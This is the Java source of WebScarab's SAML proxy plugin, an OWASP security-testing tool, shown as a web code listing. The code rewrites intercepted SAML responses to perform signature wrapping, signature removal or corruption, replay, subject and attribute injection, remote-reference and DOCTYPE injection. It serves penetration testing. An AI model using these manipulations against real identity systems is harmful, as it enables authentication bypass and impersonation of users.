Package org.owasp.webscarab.plugin.saml

Source Code of org.owasp.webscarab.plugin.saml.SamlHTTPClient

/**
* *********************************************************************
*
* $CVSHeader$
*
* This file is part of WebScarab, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2010 FedICT Copyright (c) 2010 Frank Cornelis
* <info@frankcornelis.be>
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at Sourceforge.net, a repository
* for free software projects.
*
* For details, please see http://www.sourceforge.net/projects/owasp
*
*/
package org.owasp.webscarab.plugin.saml;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.security.KeyStore;
import java.security.PrivateKey;
import java.security.cert.Certificate;
import java.security.cert.X509Certificate;
import java.util.LinkedList;
import java.util.List;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.transform.Result;
import javax.xml.transform.Source;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.dom.DOMSource;
import javax.xml.transform.stream.StreamResult;
import org.apache.xml.security.exceptions.Base64DecodingException;
import org.apache.xml.security.exceptions.XMLSecurityException;
import org.apache.xml.security.keys.KeyInfo;
import org.apache.xml.security.keys.content.X509Data;
import org.apache.xml.security.signature.XMLSignature;
import org.apache.xml.security.transforms.Transforms;
import org.apache.xml.security.utils.Base64;
import org.apache.xml.security.utils.Constants;
import org.owasp.webscarab.httpclient.HTTPClient;
import org.owasp.webscarab.model.NamedValue;
import org.owasp.webscarab.model.Request;
import org.owasp.webscarab.model.Response;
import org.owasp.webscarab.util.Encoding;
import org.w3c.dom.Attr;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;

/**
*
* @author Frank Cornelis
*/
public class SamlHTTPClient implements HTTPClient {

    private Logger _logger = Logger.getLogger(getClass().getName());
    private final HTTPClient in;
    private final SamlProxyConfig samlProxyConfig;

    public SamlHTTPClient(HTTPClient in, SamlProxyConfig samlProxyConfig) {
        this.in = in;
        this.samlProxyConfig = samlProxyConfig;
    }

    @Override
    public Response fetchResponse(Request request) throws IOException {
        /*
         * We want a very fast fall-through in case nothing needs to be done.
         */
        if (false == this.samlProxyConfig.doSomething()) {
            Response response = this.in.fetchResponse(request);
            return response;
        }

        changeSamlResponse(request);

        Response response = this.in.fetchResponse(request);
        return response;
    }

    private void changeSamlResponse(Request request) {
        String method = request.getMethod();
        if (false == "POST".equals(method)) {
            return;
        }
        String contentType = request.getHeader("Content-Type");
        if (null == contentType) {
            return;
        }
        if (false == "application/x-www-form-urlencoded".equals(contentType)) {
            return;
        }
        byte[] content = request.getContent();
        if (null == content) {
            return;
        }
        if (0 == content.length) {
            return;
        }
        String body = new String(content);
        NamedValue[] namedValues = NamedValue.splitNamedValues(
                body, "&", "=");
        boolean samlResponseMessage = false;
        String samlProxyHeader = "";
        for (int idx = 0; idx < namedValues.length; idx++) {
            if ("RelayState".equals(namedValues[idx].getName())) {
                if (this.samlProxyConfig.doInjectRelayState()) {
                    String newRelayState = getInjectedRelayState();
                    namedValues[idx] = new NamedValue(namedValues[idx].getName(), newRelayState);
                    samlProxyHeader += "injected relay state;";
                }
            }

            if (false == "SAMLResponse".equals(namedValues[idx].getName())) {
                continue;
            }
            samlResponseMessage = true;

            try {
                if (this.samlProxyConfig.doReplay()) {
                    String newSamlResponse = replaySamlResponse();
                    namedValues[idx] = new NamedValue(namedValues[idx].getName(), newSamlResponse);
                    samlProxyHeader += "replayed;";
                }

                if (this.samlProxyConfig.doSignWrapAttack()) {
                    String newSamlResponse = signatureWrapping(namedValues[idx].getValue());
                    namedValues[idx] = new NamedValue(namedValues[idx].getName(), newSamlResponse);
                    samlProxyHeader += "signature wrapping;";
                }

                if (this.samlProxyConfig.doInjectAttribute()) {
                    String newSamlResponse = injectAttribute(namedValues[idx].getValue());
                    namedValues[idx] = new NamedValue(namedValues[idx].getName(), newSamlResponse);
                    samlProxyHeader += "injected attribute;";
                }
                if (this.samlProxyConfig.doInjectSubject()) {
                    String newSamlResponse = injectSubject(namedValues[idx].getValue());
                    namedValues[idx] = new NamedValue(namedValues[idx].getName(), newSamlResponse);
                    samlProxyHeader += "injected subject;";
                }
                if (this.samlProxyConfig.doInjectPublicDoctype()) {
                    String newSamlResponse = injectPublicDoctype(namedValues[idx].getValue());
                    namedValues[idx] = new NamedValue(namedValues[idx].getName(), newSamlResponse);
                    samlProxyHeader += "injected public doctype;";
                }
                if (this.samlProxyConfig.doRemoveAssertionSignature()) {
                    String newSamlResponse = removeSamlAssertionSignature(namedValues[idx].getValue());
                    namedValues[idx] = new NamedValue(namedValues[idx].getName(), newSamlResponse);
                    samlProxyHeader += "removed assertion signature;";
                }

                if (this.samlProxyConfig.doSignSamlMessage()) {
                    String newSamlResponse = signSamlMessage(namedValues[idx].getValue());
                    namedValues[idx] = new NamedValue(namedValues[idx].getName(), newSamlResponse);
                    samlProxyHeader += "sign;";
                } else if (this.samlProxyConfig.doRemoveSignature()) {
                    String newSamlResponse = removeSamlResponseSignature(namedValues[idx].getValue());
                    namedValues[idx] = new NamedValue(namedValues[idx].getName(), newSamlResponse);
                    samlProxyHeader += "removed signature;";
                } else {
                    if (this.samlProxyConfig.doCorruptSignature()) {
                        String newSamlResponse = corruptSamlResponseSignature(namedValues[idx].getValue());
                        namedValues[idx] = new NamedValue(namedValues[idx].getName(), newSamlResponse);
                        samlProxyHeader += "corrupted signature;";
                    }
                    if (this.samlProxyConfig.doInjectRemoteReference()) {
                        String newSamlResponse = injectRemoteReference(namedValues[idx].getValue());
                        namedValues[idx] = new NamedValue(namedValues[idx].getName(), newSamlResponse);
                        samlProxyHeader += "injected remote reference;";
                    }
                }
            } catch (Exception ex) {
                this._logger.log(Level.WARNING, "could not corrupt the SAML Response signature: {0}", ex.getMessage());
                continue;
            }
        }
        if (false == samlResponseMessage) {
            return;
        }

        StringBuilder newBody = new StringBuilder();
        for (int idx = 0; idx < namedValues.length; idx++) {
            NamedValue namedValue = namedValues[idx];
            if (0 != newBody.length()) {
                newBody.append("&");
            }
            newBody.append(namedValue.getName());
            newBody.append("=");
            newBody.append(namedValue.getValue());
        }
        request.setContent(newBody.toString().getBytes());

        if (samlProxyHeader.length() > 0) {
            request.addHeader("X-SAMLProxy", samlProxyHeader);
        }
    }

    private String corruptSamlResponseSignature(String samlResponse) throws TransformerConfigurationException, TransformerException, IOException, ParserConfigurationException, SAXException, Base64DecodingException {
        Document document = parseDocument(samlResponse);

        Element protocolSignatureElement = SamlModel.findProtocolSignatureElement(document);
        if (null == protocolSignatureElement) {
            this._logger.warning("no XML signature found");
            return samlResponse;
        }

        NodeList referenceNodeList = protocolSignatureElement.getElementsByTagNameNS("http://www.w3.org/2000/09/xmldsig#", "Reference");
        if (0 == referenceNodeList.getLength()) {
            this._logger.warning("no XMLDSig Reference element present");
            return samlResponse;
        }
        /*
         * We simply corrupt the first ds:Reference that we encounter.
         */
        Element referenceElement = (Element) referenceNodeList.item(0);

        NodeList digestValueNodeList = referenceElement.getElementsByTagNameNS("http://www.w3.org/2000/09/xmldsig#", "DigestValue");
        Element digestValueElement = (Element) digestValueNodeList.item(0);
        String digestValue = digestValueElement.getTextContent();
        digestValue = "12345678" + digestValue;
        digestValueElement.setTextContent(digestValue);

        return outputDocument(document);
    }

    private String removeSamlResponseSignature(String samlResponse) throws IOException, ParserConfigurationException, SAXException, TransformerConfigurationException, TransformerException, Base64DecodingException {
        Document document = parseDocument(samlResponse);
        Element protocolSignatureElement = SamlModel.findProtocolSignatureElement(document);
        if (null == protocolSignatureElement) {
            return samlResponse;
        }
        protocolSignatureElement.getParentNode().removeChild(protocolSignatureElement);

        return outputDocument(document);
    }

    private String outputDocument(Document document) throws TransformerConfigurationException, TransformerException {
        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
        Result result = new StreamResult(outputStream);
        Transformer xformer = TransformerFactory.newInstance().newTransformer();
        Source source = new DOMSource(document);
        xformer.transform(source, result);

        String encodedChangedSamlResponse = Base64.encode(outputStream.toByteArray());
        return Encoding.urlEncode(encodedChangedSamlResponse);
    }

    private Document parseDocument(String samlResponse) throws IOException, ParserConfigurationException, SAXException, Base64DecodingException {
        byte[] decodedSamlResponse = Base64.decode(Encoding.urlDecode(samlResponse));

        ByteArrayInputStream inputStream = new ByteArrayInputStream(decodedSamlResponse);
        DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
        builderFactory.setNamespaceAware(true);
        DocumentBuilder builder = builderFactory.newDocumentBuilder();
        Document document = builder.parse(inputStream);
        return document;
    }

    private String replaySamlResponse() {
        String replayedSamlResponse = this.samlProxyConfig.getReplaySamlResponse();
        return replayedSamlResponse;
    }

    private String injectRemoteReference(String samlResponse) throws IOException, ParserConfigurationException, SAXException, Base64DecodingException, TransformerConfigurationException, TransformerException {
        Document document = parseDocument(samlResponse);

        Element protocolSignatureElement = SamlModel.findProtocolSignatureElement(document);
        if (null == protocolSignatureElement) {
            this._logger.warning("no XML signature found");
            return samlResponse;
        }

        NodeList signedInfoNodeList = protocolSignatureElement.getElementsByTagNameNS("http://www.w3.org/2000/09/xmldsig#", "SignedInfo");
        if (0 == signedInfoNodeList.getLength()) {
            this._logger.warning("no SignedInfo present in XML signature");
            return samlResponse;
        }
        Element signedInfoElement = (Element) signedInfoNodeList.item(0);

        String namespacePrefix = protocolSignatureElement.getPrefix();
        if (null == namespacePrefix) {
            namespacePrefix = "";
        } else {
            namespacePrefix = namespacePrefix + ":";
        }

        Element referenceElement = document.createElementNS("http://www.w3.org/2000/09/xmldsig#", namespacePrefix + "Reference");
        signedInfoElement.appendChild(referenceElement);
        String remoteReference = this.samlProxyConfig.getRemoteReference();
        referenceElement.setAttributeNS(null, "URI", remoteReference);
        Element digestMethodElement = document.createElementNS("http://www.w3.org/2000/09/xmldsig#", namespacePrefix + "DigestMethod");
        referenceElement.appendChild(digestMethodElement);
        digestMethodElement.setAttributeNS(null, "Algorithm", "http://www.w3.org/2000/09/xmldsig#sha1");
        Element digestValueElement = document.createElementNS("http://www.w3.org/2000/09/xmldsig#", namespacePrefix + "DigestValue");
        referenceElement.appendChild(digestValueElement);
        digestValueElement.appendChild(document.createTextNode("12345678"));

        return outputDocument(document);
    }

    private String injectAttribute(String samlResponse) throws IOException, ParserConfigurationException, SAXException, Base64DecodingException, TransformerConfigurationException, TransformerException {
        Document document = parseDocument(samlResponse);

        List<NamedValue> injectionAttributes = this.samlProxyConfig.getInjectionAttributes();
        if (null != injectionAttributes) {
            for (NamedValue attribute : injectionAttributes) {
                String name = attribute.getName();
                String value = attribute.getValue();
                setAttribute(document, name, value);
            }
        }
        return outputDocument(document);
    }

    private void setAttribute(Document document, String name, String value) {
        this._logger.fine("injecting attribute: " + name);
        Occurences attributeOccurences = this.samlProxyConfig.getAttributeOccurences();
        NodeList attributeNodeList = document.getElementsByTagNameNS("urn:oasis:names:tc:SAML:1.0:assertion", "Attribute");
        Element lastAttributeElement = null;
        for (int idx = 0; idx < attributeNodeList.getLength(); idx++) {
            Element attributeElement = (Element) attributeNodeList.item(idx);
            String attributeName = attributeElement.getAttribute("AttributeName");
            if (attributeName.equals(name)) {
                if (attributeOccurences == Occurences.LAST) {
                    lastAttributeElement = attributeElement;
                } else {
                    NodeList attributeValueNodeList = attributeElement.getElementsByTagNameNS("urn:oasis:names:tc:SAML:1.0:assertion", "AttributeValue");
                    for (int valueIdx = 0; valueIdx < attributeValueNodeList.getLength(); valueIdx++) {
                        Element attributeValueElement = (Element) attributeValueNodeList.item(valueIdx);
                        attributeValueElement.getChildNodes().item(0).setNodeValue(value);
                    }
                    if (attributeOccurences == Occurences.FIRST) {
                        break;
                    }
                }
            }
        }
        if (attributeOccurences == Occurences.LAST) {
            if (null != lastAttributeElement) {
                NodeList attributeValueNodeList = lastAttributeElement.getElementsByTagNameNS("urn:oasis:names:tc:SAML:1.0:assertion", "AttributeValue");
                for (int valueIdx = 0; valueIdx < attributeValueNodeList.getLength(); valueIdx++) {
                    Element attributeValueElement = (Element) attributeValueNodeList.item(valueIdx);
                    attributeValueElement.getChildNodes().item(0).setNodeValue(value);
                }
                return;
            }
        }

        NodeList attribute2NodeList = document.getElementsByTagNameNS("urn:oasis:names:tc:SAML:2.0:assertion", "Attribute");
        for (int idx = 0; idx < attribute2NodeList.getLength(); idx++) {
            Element attributeElement = (Element) attribute2NodeList.item(idx);
            String attributeName = attributeElement.getAttribute("Name");
            if (attributeName.equals(name)) {
                if (attributeOccurences == Occurences.LAST) {
                    lastAttributeElement = attributeElement;
                } else {
                    NodeList attributeValueNodeList = attributeElement.getElementsByTagNameNS("urn:oasis:names:tc:SAML:2.0:assertion", "AttributeValue");
                    for (int valueIdx = 0; valueIdx < attributeValueNodeList.getLength(); valueIdx++) {
                        Element attributeValueElement = (Element) attributeValueNodeList.item(valueIdx);
                        attributeValueElement.getChildNodes().item(0).setNodeValue(value);
                    }
                    if (attributeOccurences == Occurences.FIRST) {
                        break;
                    }
                }
            }
        }
        if (attributeOccurences == Occurences.LAST) {
            if (null != lastAttributeElement) {
                NodeList attributeValueNodeList = lastAttributeElement.getElementsByTagNameNS("urn:oasis:names:tc:SAML:2.0:assertion", "AttributeValue");
                for (int valueIdx = 0; valueIdx < attributeValueNodeList.getLength(); valueIdx++) {
                    Element attributeValueElement = (Element) attributeValueNodeList.item(valueIdx);
                    attributeValueElement.getChildNodes().item(0).setNodeValue(value);
                }
            }
        }
    }

    private String getInjectedRelayState() {
        String injectionRelayState = this.samlProxyConfig.getRelayState();
        return Encoding.urlEncode(injectionRelayState);
    }

    private String injectSubject(String samlResponse) throws IOException, ParserConfigurationException, SAXException, Base64DecodingException, TransformerConfigurationException, TransformerException {
        Document document = parseDocument(samlResponse);

        String injectionSubject = this.samlProxyConfig.getInjectionSubject();

        Occurences subjectOccurences = this.samlProxyConfig.getSubjectOccurences();

        NodeList subjectNodeList = document.getElementsByTagNameNS("urn:oasis:names:tc:SAML:1.0:assertion", "Subject");
        saml1:
        for (int subjectIdx = 0; subjectIdx < subjectNodeList.getLength(); subjectIdx++) {
            switch (subjectOccurences) {
                case ALL:
                    break;
                case FIRST:
                    if (subjectIdx != 0) {
                        break saml1;
                    }
                    break;
                case LAST:
                    if (subjectIdx != subjectNodeList.getLength() - 1) {
                        continue saml1;
                    }
                    break;
            }
            Element subjectElement = (Element) subjectNodeList.item(subjectIdx);
            NodeList nameIdentifierNodeList = subjectElement.getElementsByTagNameNS("urn:oasis:names:tc:SAML:1.0:assertion", "NameIdentifier");
            if (0 != nameIdentifierNodeList.getLength()) {
                nameIdentifierNodeList.item(0).getChildNodes().item(0).setNodeValue(injectionSubject);
            }
        }

        NodeList subject2NodeList = document.getElementsByTagNameNS("urn:oasis:names:tc:SAML:2.0:assertion", "Subject");
        saml2:
        for (int subjectIdx = 0; subjectIdx < subject2NodeList.getLength(); subjectIdx++) {
            switch (subjectOccurences) {
                case ALL:
                    break;
                case FIRST:
                    if (subjectIdx != 0) {
                        break saml2;
                    }
                    break;
                case LAST:
                    if (subjectIdx != subject2NodeList.getLength() - 1) {
                        continue saml2;
                    }
                    break;
            }
            Element subjectElement = (Element) subject2NodeList.item(subjectIdx);
            NodeList nameIDNodeList = subjectElement.getElementsByTagNameNS("urn:oasis:names:tc:SAML:2.0:assertion", "NameID");
            if (0 != nameIDNodeList.getLength()) {
                nameIDNodeList.item(0).getChildNodes().item(0).setNodeValue(injectionSubject);
            }
        }

        return outputDocument(document);
    }

    private String injectPublicDoctype(String samlResponse) throws Base64DecodingException {
        String dtdUri = this.samlProxyConfig.getDtdUri();
        byte[] decodedSamlResponse = Base64.decode(Encoding.urlDecode(samlResponse));
        String newDecodedSamlResponse = "<!DOCTYPE SomeElement SYSTEM \"" + dtdUri + "\">" + new String(decodedSamlResponse);
        String newSamlResponse = Encoding.urlEncode(Base64.encode(newDecodedSamlResponse.getBytes()));
        return newSamlResponse;
    }

    private String signSamlMessage(String samlResponse) throws IOException, ParserConfigurationException, SAXException, Base64DecodingException, TransformerConfigurationException, TransformerException, XMLSecurityException {
        Document document = parseDocument(samlResponse);
        Element protocolSignatureElement = SamlModel.findProtocolSignatureElement(document);
        if (null == protocolSignatureElement) {
            return samlResponse;
        }
        protocolSignatureElement.getParentNode().removeChild(protocolSignatureElement);

        XMLSignature xmlSignature = new XMLSignature(document, null, XMLSignature.ALGO_ID_SIGNATURE_RSA_SHA1);
        document.getDocumentElement().insertBefore(xmlSignature.getElement(), document.getDocumentElement().getFirstChild());
        Transforms transforms = new Transforms(document);
        transforms.addTransform(Transforms.TRANSFORM_ENVELOPED_SIGNATURE);
        transforms.addTransform(Transforms.TRANSFORM_C14N_EXCL_OMIT_COMMENTS);
        xmlSignature.addDocument("", transforms, Constants.ALGO_ID_DIGEST_SHA1);

        KeyStore.PrivateKeyEntry privateKeyEntry = this.samlProxyConfig.getPrivateKeyEntry();

        KeyInfo keyInfo = xmlSignature.getKeyInfo();
        X509Data x509Data = new X509Data(document);
        Certificate[] certificateChain = privateKeyEntry.getCertificateChain();
        for (int certIdx = 0; certIdx < certificateChain.length; certIdx++) {
            Certificate certificate = certificateChain[certIdx];
            x509Data.addCertificate((X509Certificate) certificate);
        }
        keyInfo.add(x509Data);

        PrivateKey privateKey = privateKeyEntry.getPrivateKey();
        xmlSignature.sign(privateKey);

        return outputDocument(document);
    }

    private String signatureWrapping(String samlResponse) throws IOException, ParserConfigurationException, SAXException, Base64DecodingException, TransformerConfigurationException, TransformerException {
        Document document = parseDocument(samlResponse);

        Wrapper wrapper = this.samlProxyConfig.getWrapper();
        switch (wrapper) {
            case DS_OBJECT: {
                Element signatureElement;
                SignatureType wrapperTargetSignature = this.samlProxyConfig.getWrapperTargetSignature();
                this._logger.log(Level.FINE, "wrapper target signature: " + wrapperTargetSignature);
                switch (wrapperTargetSignature) {
                    default:
                    case PROTOCOL:
                        signatureElement = SamlModel.findProtocolSignatureElement(document);
                        break;
                    case ASSERTION:
                        signatureElement = SamlModel.findAssertionSignatureElement(document);
                        break;
                }
                if (null == signatureElement) {
                    this._logger.fine("no signature element found");
                    return samlResponse;
                }
                String dsPrefix = signatureElement.getPrefix();
                String dsObjectQualifiedName;
                if (null == dsPrefix) {
                    dsObjectQualifiedName = "Object";
                } else {
                    dsObjectQualifiedName = dsPrefix + ":Object";
                }
                Element dsObjectElement = document.createElementNS("http://www.w3.org/2000/09/xmldsig#", dsObjectQualifiedName);
                Element parentElement = (Element) signatureElement.getParentNode();
                Element importedParentElement = (Element) document.importNode(parentElement, true);
                dsObjectElement.appendChild(importedParentElement);
                signatureElement.appendChild(dsObjectElement);
                if (this.samlProxyConfig.doRenameAssertionId()) {
                    Attr idAttr = parentElement.getAttributeNode("ID"); // SAML 2
                    if (null == idAttr) {
                        idAttr = parentElement.getAttributeNode("AssertionID"); // SAML 1.1
                    }
                    String oldIdValue = idAttr.getValue();
                    String newIdValue = "renamed-" + oldIdValue;
                    idAttr.setValue(newIdValue);
                }
            }
            break;
            case SAMLP_EXTENSIONS: {
                Element samlResponseElement = document.getDocumentElement();
                String samlpPrefix = samlResponseElement.getPrefix();
                String samlpExtensionsQualifiedName;
                if (null == samlpPrefix) {
                    samlpExtensionsQualifiedName = "Extensions";
                } else {
                    samlpExtensionsQualifiedName = samlpPrefix + ":Extensions";
                }
                String samlpNamespace = samlResponseElement.getNamespaceURI();
                Element samlpExtensionsElement = document.createElementNS(samlpNamespace, samlpExtensionsQualifiedName);
                Element importedSamlResponseElement = (Element) document.importNode(samlResponseElement, true);
                samlpExtensionsElement.appendChild(importedSamlResponseElement);
                samlResponseElement.appendChild(samlpExtensionsElement);
            }
            break;
            case ASSERTION: {
                NodeList saml2AssertionNodeList = document.getElementsByTagNameNS("urn:oasis:names:tc:SAML:2.0:assertion", "Assertion");
                if (saml2AssertionNodeList.getLength() != 0) {
                    Element assertionElement = (Element) saml2AssertionNodeList.item(0);
                    Element importedAssertionElement = (Element) document.importNode(assertionElement, true);
                    assertionElement.getParentNode().appendChild(importedAssertionElement);
                    if (this.samlProxyConfig.doRenameAssertionId()) {
                        Attr idAttr = assertionElement.getAttributeNode("ID"); // SAML 2
                        if (null == idAttr) {
                            idAttr = assertionElement.getAttributeNode("AssertionID"); // SAML 1.1
                        }
                        String oldIdValue = idAttr.getValue();
                        String newIdValue = "renamed-" + oldIdValue;
                        idAttr.setValue(newIdValue);
                    }
                    if (this.samlProxyConfig.doRenameLastAssertionId()) {
                        Attr idAttr = importedAssertionElement.getAttributeNode("ID"); // SAML 2
                        if (null == idAttr) {
                            idAttr = importedAssertionElement.getAttributeNode("AssertionID"); // SAML 1.1
                        }
                        String oldIdValue = idAttr.getValue();
                        String newIdValue = "renamed-" + oldIdValue;
                        idAttr.setValue(newIdValue);
                    }
                }
            }
            break;
        }

        if (this.samlProxyConfig.doRenameTopId()) {
            Element rootElement = document.getDocumentElement();
            Attr idAttr = rootElement.getAttributeNode("ID"); // SAML 2.0
            if (null == idAttr) {
                idAttr = rootElement.getAttributeNode("ResponseID"); // SAML 1.1
            }
            String oldIdValue = idAttr.getValue();
            String newIdValue = "renamed-" + oldIdValue;
            idAttr.setValue(newIdValue);
        }

        return outputDocument(document);
    }

    private String removeSamlAssertionSignature(String samlResponse) throws IOException, ParserConfigurationException, SAXException, Base64DecodingException, TransformerConfigurationException, TransformerException {
        Document document = parseDocument(samlResponse);
        List<Element> assertionSignatureElements = findAssertionSignatures(document);
        for (Element assertionSignatureElement : assertionSignatureElements) {
            assertionSignatureElement.getParentNode().removeChild(assertionSignatureElement);
        }
        return outputDocument(document);
    }

    private List<Element> findAssertionSignatures(Document document) {
        List<Element> assertionSignatures = new LinkedList<Element>();

        NodeList childNodeList = document.getDocumentElement().getChildNodes();
        for (int nodeIdx = 0; nodeIdx < childNodeList.getLength(); nodeIdx++) {
            Node childNode = childNodeList.item(nodeIdx);
            if (childNode.getNodeType() == Node.ELEMENT_NODE) {
                Element childElement = (Element) childNode;
                if ("urn:oasis:names:tc:SAML:2.0:assertion".equals(childElement.getNamespaceURI())
                        && "Assertion".equals(childElement.getLocalName())) {
                    NodeList signatureNodeList = childElement.getElementsByTagNameNS("http://www.w3.org/2000/09/xmldsig#", "Signature");
                    for (int signatureNodeIdx = 0; signatureNodeIdx < signatureNodeList.getLength(); signatureNodeIdx++) {
                        Element signatureElement = (Element) signatureNodeList.item(signatureNodeIdx);
                        assertionSignatures.add(signatureElement);
                    }
                }
            }
        }

        NodeList assertionNodeList = document.getElementsByTagNameNS("urn:oasis:names:tc:SAML:1.0:assertion", "Assertion");
        for (int assertionNodeIdx = 0; assertionNodeIdx < assertionNodeList.getLength(); assertionNodeIdx++) {
            Element assertionElement = (Element) assertionNodeList.item(assertionNodeIdx);
            NodeList signatureNodeList = assertionElement.getElementsByTagNameNS("http://www.w3.org/2000/09/xmldsig#", "Signature");
            for (int signatureNodeIdx = 0; signatureNodeIdx < signatureNodeList.getLength(); signatureNodeIdx++) {
                Element signatureElement = (Element) signatureNodeList.item(signatureNodeIdx);
                assertionSignatures.add(signatureElement);
            }
        }

        return assertionSignatures;
    }
}
TOP

Related Classes of org.owasp.webscarab.plugin.saml.SamlHTTPClient

TOP
Copyright © 2018 www.massapi.com. All rights reserved.
All source code are property of their respective owners. Java is a trademark of Sun Microsystems, Inc and owned by ORACLE Inc. Contact coftware#gmail.com.